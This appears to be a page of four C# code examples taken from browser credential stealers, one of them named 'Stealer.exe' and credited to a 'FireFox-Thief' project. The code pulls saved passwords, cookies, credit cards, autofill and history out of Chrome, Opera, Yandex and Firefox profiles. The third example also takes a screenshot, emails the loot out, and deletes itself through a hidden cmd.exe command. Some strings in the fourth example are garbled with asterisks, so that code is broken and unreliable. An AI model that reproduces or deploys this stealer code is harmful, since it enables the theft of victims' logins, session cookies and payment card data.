static void Main(string[] args)
        {
            Console.WriteLine("Starting..");

            if (args.Length < 1)
            {
                Console.WriteLine("Please select command [PASSWORDS/HISTORY/COOKIES/AUTOFILL/CREDIT_CARDS/BOOKMARKS]");
                Environment.Exit(1);
            }

            switch (args[0].ToUpper())
            {
            case "PASSWORDS":
            {
                BrowserUtils.ShowPasswords(Passwords.Get());
                break;
            }

            case "CREDIT_CARDS":
            {
                BrowserUtils.ShowCreditCards(CreditCards.Get());
                break;
            }

            case "COOKIES":
            {
                BrowserUtils.ShowCookies(Cookies.Get());
                break;
            }

            case "BOOKMARKS":
            {
                BrowserUtils.ShowBookmarks(Bookmarks.Get());
                break;
            }

            case "HISTORY":
            {
                BrowserUtils.ShowHistory(History.Get());
                break;
            }

            case "AUTOFILL":
            {
                BrowserUtils.ShowAutoFill(Autofill.Get());
                break;
            }

            default:
            {
                Console.WriteLine("Command not found!");
                break;
            }
            }

            Console.WriteLine("Coded by LimerBoy <3");
        }
Example #2
0
        static void Main(string[] args)
        {
            // Get command line args
            string arguments = string.Join(" ", args).ToLower();

            if (string.IsNullOrEmpty(arguments))
            {
                Console.WriteLine("Stealer.exe passwords/cookies/history/bookmarks\nCoded by LimerBoy\nGithub: github.com/LimerBoy/FireFox-Thief");
                Environment.Exit(1);
            }

            foreach (string browser in Profile.GetMozillaBrowsers())
            {
                // Show info
                Console.WriteLine("Reading " + arguments + " from " + new DirectoryInfo(browser).Name + " browser.");

                // Get cookies
                if (arguments.Equals("cookies"))
                {
                    foreach (Cookie cookie in Cookies.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatCookie(cookie));
                    }
                }
                // Get history
                if (arguments.Equals("history"))
                {
                    foreach (Site history in History.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatHistory(history));
                    }
                }
                // Get bookmarks
                if (arguments.Equals("bookmarks"))
                {
                    foreach (Bookmark bookmark in Bookmarks.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatBookmark(bookmark));
                    }
                }
                // Get passwords
                if (arguments.Equals("passwords"))
                {
                    foreach (Password account in Passwords.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatPassword(account));
                    }
                }
            }

            Console.WriteLine("DONE");
        }
Example #3
0
 static void Main(string[] args)
 {
     Directory.CreateDirectory(Path.GetTempPath() + "log");
     string[] browser_paths = {
         Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
         Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
         Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
     };
     string content = "";
     foreach (string p in browser_paths)   //идем по папкам
     {
         var pas = Passwords.ReadPass(p);
         if (File.Exists(p))                   // если файл с паролями существует, то выполняем следующие действия
         {
             foreach (var item in pas)
             {
                 if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                 {
                     content += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
                     content += "==================\r\n";
                 }
             }
         }
     }
     if (File.Exists(Path.GetTempPath() + @"log\Login Data"))
     {
         File.Delete(Path.GetTempPath() + @"log\Login Data");
     }
     File.WriteAllText(Path.GetTempPath() + @"log\Passwords.txt", content); // записываем пароли в файл
     var bounds = Screen.GetBounds(new Point(0, 0));
     var bmp = new Bitmap(bounds.Width, bounds.Height);
     using (var g = Graphics.FromImage(bmp))
         g.CopyFromScreen(0, 0, 0, 0, bmp.Size);
     bmp.Save(Path.GetTempPath() + @"log\screenshot.bmp");
     //ZipFile.CreateFromDirectory(Path.GetTempPath() + "log", Path.GetTempPath() + "log.zip");
     MailSend.Send();
     Directory.Delete(Path.GetTempPath() + "log", true);
     ProcessStartInfo Info = new ProcessStartInfo();
     Info.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Application.ExecutablePath;
     Info.WindowStyle = ProcessWindowStyle.Hidden;
     Info.CreateNoWindow = true;
     Info.FileName = "cmd.exe";
     Process.Start(Info);
 }
Example #4
0
        static void Main(string[] args)
        {
            Console.WriteLine("Starting..");

            if (args.Length < 1)
            {
                Console.WriteLine("Please select commands [PASSWORDS/HISTORY/COOKIES/CREDIT_CARDS/BOOKMARKS]");
                Environment.Exit(1);
            }
            switch (args[0].ToUpper())
            {
            case "PASSWORDS":
            {
                /*
                 *  hostname - data[0]
                 *  username - data[1]
                 *  password - data[2]
                 */

                foreach (string[] data in Passwords.get())
                {
                    Console.WriteLine("\n[PASSWORD]\nHostname: " + data[0] + "\nUsername: "******"\nPassword: "******"CREDIT_CARDS":
            {
                /*
                 *  number   - data[0]
                 *  expYear  - data[1]
                 *  expMonth - data[2]
                 *  name     - data[3]
                 */

                foreach (string[] data in CreditCards.get())
                {
                    Console.WriteLine("\n[CREDIT_CARD]\nNumber: " + data[0] + "\nExpireYear: " + data[1] + "\nExpireMonth: " + data[2] + "\nName: " + data[3]);
                }
                break;
            }

            case "COOKIES":
            {
                /*
                 *  value    - data[0]
                 *  hostKey  - data[1]
                 *  name     - data[2]
                 *  path     - data[3]
                 *  expires  - data[4]
                 *  isSecure - data[5]
                 */

                foreach (string[] data in Cookies.get())
                {
                    //Netscape convert
                    Console.Write(String.Format("{0}\tTRUE\t{1}\tFALSE\t{2}\t{3}\t{4}\r\n", data[1], data[3], data[4], data[2], data[0]));
                }
                break;
            }

            case "BOOKMARKS":
            {
                /*
                 *   url  - data[0]
                 *   name - data[1]
                 *   date - data[2]
                 */
                foreach (string[] data in Bookmarks.get())
                {
                    Console.WriteLine("\n[BOOKMARK]\nUrl: " + data[0] + "\nName: " + data[1] + "\nDate: " + data[2]);
                }
                break;
            }

            case "HISTORY":
            {
                /*
                 * url - data[0]
                 * title - data[1]
                 * visits - data[2]
                 * date - data[3]
                 */
                foreach (string[] data in History.get())
                {
                    Console.WriteLine("\n[HISTORY]\nUrl: " + data[0] + "\nTitle: " + data[1] + "\nVisits: " + data[2] + "\nDate: " + data[3]);
                }
                break;
            }

            default:
            {
                Console.WriteLine("Command not found!");
                break;
            }
            }
        }